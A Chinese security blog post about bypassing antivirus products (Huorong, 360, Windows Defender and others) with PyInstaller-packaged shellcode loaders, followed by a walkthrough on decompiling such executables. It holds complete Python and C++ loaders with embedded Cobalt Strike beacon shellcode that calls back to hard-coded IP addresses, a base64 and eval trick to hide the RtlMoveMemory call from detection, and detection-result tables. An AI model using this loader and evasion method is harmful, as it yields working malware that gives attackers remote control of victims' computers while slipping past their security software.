我是靠谱客的博主 聪明大神,这篇文章主要介绍pyinstaller打包逆向分析,顺便免杀Windows Defender1. python3利用shellcode免杀火绒2. 无av条件下使用3. shellcode免杀4. exe文件反编译5. 免杀exe反编译测试6. pyinstaller加密打包exe7. python打包的exe如何加密8. pyinstaller使用key参数打包exe9. 总结,现在分享给大家,希望可以做个参考。

微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

1. python3利用shellcode免杀火绒

1.1 什么是shellcode

在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(来源:百度百科)

1.2 python版本

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow


import ctypes

shellcode =  b""
shellcode += b"x"


shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

1.3  C++版本


#include <Windows.h>
#include <stdio.h>
using namespace std;
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker, "/INCREMENTAL:NO")

int main(int argc, char** argv) {
    unsigned char ShellCode[] = "";

    void* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, ShellCode, sizeof ShellCode);
    ((void(*)())exec)();
    return 0;
}

2. 无av条件下使用

2.1 cs shellcode

这里以python为例,在cs上选择64位的进行生成

看下当前的shellcode

2.2 生成py文件

直接对上面的shellcode加载器和shellcode进行组合

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow


import ctypes

shellcode =  b""
# shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx4ex39x69x6dx00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4fx70x65x72x61x2fx39x2ex38x30x20x28x58x31x31x3bx20x4cx69x6ex75x78x20x78x38x36x5fx36x34x3bx20x55x3bx20x55x62x75x6ex74x75x2fx31x30x2ex31x30x20x28x6dx61x76x65x72x69x63x6bx29x3bx20x70x6cx29x20x50x72x65x73x74x6fx2fx32x2ex37x2ex36x32x20x56x65x72x73x69x6fx6ex2fx31x31x2ex30x31x0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x31x35x2ex31x35x39x2ex39x37x2ex33x35x00x00x00x00x00"
shellcode  += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx36x75x58x5ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx34x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x37x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex30x3bx20x54x72x69x64x65x6ex74x2fx34x2ex30x29x0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex32x31x31x2ex35x35x2ex32x00x00x00x00x00"



shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

直接运行之后,cs上线

2.3 exe打包

直接在win10上当着360的面打包

双击之后,直接上线

????

大概2分钟之后,360报毒

关闭所有的杀毒之后,分别在win10和winserver2019上运行正常,win7本地运行报错

从网上查到了相关的资料:

failed to execute script pyi_rth_multiprocessing
https://github.com/pyinstaller/pyinstaller/issues/4706

我的系统是64位的,因此这里打包的话,可以将python的版本修改到3.6.5进行打包

2.4 查杀

查杀效果均为联网条件下,时间为2021.04.29日上午10分左右

对于打包的exe文件,静态查杀效果

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

❌

未测

❌

windows7 64位

❌

未测

——

对于未打包的py文件,静态查杀效果

火绒

360

Windows Defender

windows 10 64位

未测

✅

未测

windows server 2019 64位

❌

未测

❌

windows7 64位

❌

未测

——

当然,在无防护下,理论上所有木马均可上线

3. shellcode免杀

这里以Windows7下的火绒为例

完整版:


# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow


import ctypes

shellcode =  b""
shellcode  += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx36x75x58x5ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx34x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x37x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex30x3bx20x54x72x69x64x65x6ex74x2fx34x2ex30x29x0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex32x31x31x2ex35x35x2ex32x00x00x00x00x00"



shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

报毒

删除一段,查杀:

正常

再加入一段,查杀

正常

这说明查杀的点就在后面一段中,查杀

报毒

经过多次fuzz发现,火绒对RtlMoveMemory字段敏感

当删除RtlMoveMemory之后

因此只要对RtlMoveMemory进行关键字处理应该就可以了,这里对字符进行base64加密再解密,当然也可以用base32等,方法有很多,还可以采用其他的加密

ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)

整理到一行

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),  buf,  ctypes.c_int(len(shellcode)))

base64加密:

Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp

然后再进行解码:

测试是否免杀

测试上线是否正常

在win10无杀软的情况下,上线正常

那就在win10下打包为exe文件

pyinstaller -F --noconsole py_shellcode_fuzz.py

--console就是不显示命令窗口的意思

再次上线测试,正常上线

测试:

火绒免杀

静态正常:

动态上线测试

测试正常

正好有个机会在其他的电脑上进行了测试:

免杀电脑管家,金山毒霸

vt查询

https://www.virustotal.com/gui/file/a278c36a24c7315a0d8d7f8c1adf2a4ac927b25f72aca330fdb7ea77be86ac48/detection

接下来就是不能免杀的:

windows defender

360 直接云查杀

这里做一个统计

查杀效果均为联网条件下,时间为2021.04.30日夜间23时左右

对于打包的exe文件,静态查杀效果

火绒

360

Windows Defender

电脑管家

金山毒霸

windows 10 64位

未测

❌

未测

✅

✅

windows server 2019 64位

✅

未测

❌

未测

未测

windows7 64位

✅

未测

——

未测

未测

对于打包的exe文件,动态上线效果

火绒

360

Windows Defender

电脑管家

金山毒霸

windows 10 64位

未测

❌

未测

✅

✅

windows server 2019 64位

❌

未测

❌

未测

未测

windows7 64位

✅

未测

——

未测

未测

对于未打包的py文件,静态查杀效果

火绒

360

Windows Defender

电脑管家

金山毒霸

windows 10 64位

未测

✅

未测

未测

未测

windows server 2019 64位

✅

未测

❌

未测

未测

windows7 64位

✅

未测

——

未测

未测

对于未打包的py文件,动态查杀效果

火绒

360

Windows Defender

电脑管家

金山毒霸

windows 10 64位

未测

✅

未测

未测

未测

windows server 2019 64位

✅

未测

❌

未测

未测

windows7 64位

✅

未测

——

未测

未测

这里使用pyinstaller打包的exe文件无法过360和Windows Defender

4. exe文件反编译

注意:这里的exe文件反编译指的是对pyinstraller打包的文件进行反编译

4.1  测试环境

操作系统:windows 10

python版本:python3.8.7

16进制编辑器:010 editor

exe反编译工具:pyinstxtractor.py

pyc反编译工具:uncompyle6

4.2  pyinstaller打包程序为exe

首先写一个简单的python3脚本

01_easy.py


# -*- encoding: utf-8 -*-
# Time : 2021/06/17 10:45:45
# Author: crow

import time 

while 1:
    print('hello world')
    time.sleep(1)

然后将该程序使用pyinstaller打包为exe文件

pyinstaller -F 01_easy.py

其中 参数 -F 是为了将程序打包为一个exe文件,而且不产生其他的文件

打包完成之后,本地会生成一个dist的文件夹,在这个文件夹里就有一个打包好的exe文件

运行试试:

此时程序运行正常,解析来就是反编译了

4.3 反编译_pyc

针对pyinstaller打包之后的exe反编译工具:pyinstxtractor.py

PyInstaller Extractor是可以提取出PyInstaller所创建的exe文件为pyc格式。

下载链接:

https://sourceforge.net/projects/pyinstallerextractor/

将需要反编译的exe和pyinstxtractor.py放到同一个目录下直接运行

python pyinstxtractor.py 01_easy.ex

解密成功之后,会生成一个xxx.exe_extracted的文件夹

4.4 pyc到源码

pyinstaller在打包的时候,会将pyc文件的前8个字节清除,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。(四个字节的magic number、四个字节的timestamp)

所以在这里可以通过struct文件来获取其中的信息,再添加到01_easy文件里面去

因此这里将两个文件单独复制出来,通过16进制查看工具来查看下文件,Windows系统下可以使用winhex,mac系统下可以使用010 editor

通过对比可以发现,struct比01_easy多了8个字节

因此这里可以将这些字节复制插入到01_easy中去。

在这里新建了一个文件,将两个进行结合

再将文件保存为01_easy.pyc

得到pyc文件之后就比较容易后去源代码了,这里有两种方法,一个是在线反编译,另一种是使用uncompyle6

其中在线反编译地址为:

https://tool.lu/pyc

在线反编译效果

可以看到这个效果不是很好,有一部分代码并没有成功编译出来

那试试uncompyle6,目前可以在python3上使用pip的方式进行安装pip3 install uncompyle6

然后直接使用命令uncompyle6 01_easy.pyc

可以将文件内容保存到一个文本中

uncompyle6 01_easy.pyc > 01_easy.py

打开之后:

效果要比在线反编译效果好很多。

5. 免杀exe反编译测试

这里将上述的任意exe文件拿来进行测试

执行

python pyinstxtractor.py py_shellcode.exe

取出其中的py_shellcode和struct文件

使用同样的方法进行补充,将文件另存为shellcode.pyc

再将pyc文件转化为源码格式

uncompyle6 shellcode.pyc

将文件保存到一个py文件中去

uncompyle6 shellcode.pyc > shellcode.py

打开文件:

这里可以发现,除了shellcode无法完全还原之外,其他的信息基本上都可以还原,而且准确率很高。

这里对文件进行VT查杀

https://www.virustotal.com/gui/file/bfa0d02e8c1f03189613fbb2188dd20c993ad830c40eeef93480e8b9e4719b92/detection

6. pyinstaller加密打包exe

在使用pyinstaller的时候,可以使用--key参数对生成的exe进行加密,在使用这个参数的时候需要pycrypto库,可以通过pip的方式进行安装,但是保不齐安装的时候会出现一些问题,这里就不再对此展开讲解,直接进行使用。

pyinstaller -F --key crow123321  --noconsole py_shellcode.py

其中--key之后的数字可以自定义

同样的,将两个文件放在一起进行逆向得到pyc文件

python pyinstxtractor.py py_shellcode.exe

开始报错,但是依旧可以生成相应的文件夹

这里使用同样的方法来对这两个文件进行测试,将新生成的文件保存为shellcode_key.pyc

uncompyle6 shellcode_key.pyc

将文件重定向到py文件里面去

打开之后发现,文件和未使用--key参数的效果基本没什么变化。

--key的参数针对的只是依赖库进行了加密而已。

7. python打包的exe如何加密

总体上来讲,python打包的exe都是可以破解的,就算使用cython来写,依旧是可以破解的,只是时间问题而已,但是在这还是提出一些略微有效的方法(自欺欺人)

将所有的代码进行封装为一个函数,在一个新的文件中引用,其中py_shellcode_fuzz.py里的文件内容不变,只不过将其封装为一个函数,test.py来调用这个函数

py_shellcode_fuzz.py:

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:12:27
# Author: crow



import ctypes,base64


def shell():
    shellcode =  b""
    shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x21x03x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx43x4ex53x79x00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x54x72x69x64x65x6ex74x2fx37x2ex30x3bx20x72x76x3ax31x31x2ex30x29x20x6cx69x6bx65x20x47x65x63x6bx6fx0dx0ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x29x37x7dx24x45x49x43x41x52x2dx53x54x41x4ex44x41x52x44x2dx41x4ex54x49x56x49x52x55x53x2dx54x45x53x54x2dx46x49x4cx45x21x24x48x2bx48x2ax00x35x4fx21x50x25x40x41x50x5bx34x5cx50x5ax58x35x34x28x50x5ex29x37x43x43x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex32x31x31x2ex35x35x2ex32x00x00x00x00x00"



    shellcode = bytearray(shellcode)
    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)


    string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"""
    eval(base64.b64decode(string))

    # 创建一个线程从shellcode防止位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr), 
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

if __name__ == '__main__':
    shell()

test.py

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:00:27
# Author: crow
import ctypes
from py_shellcode import shell 


if __name__ == '__main__':
    shell()

直接运行

python py_shellcode_fuzz.py

上线正常

使用test.py调用该文件

python test.py 上线正常

然后再对文件进行打包

首先使用pyinstaller直接打包

pyinstaller -F --noconsole test.py

直接在dist文件夹下尝试获取pyc文件

python pyinstxtractor.py test.exe

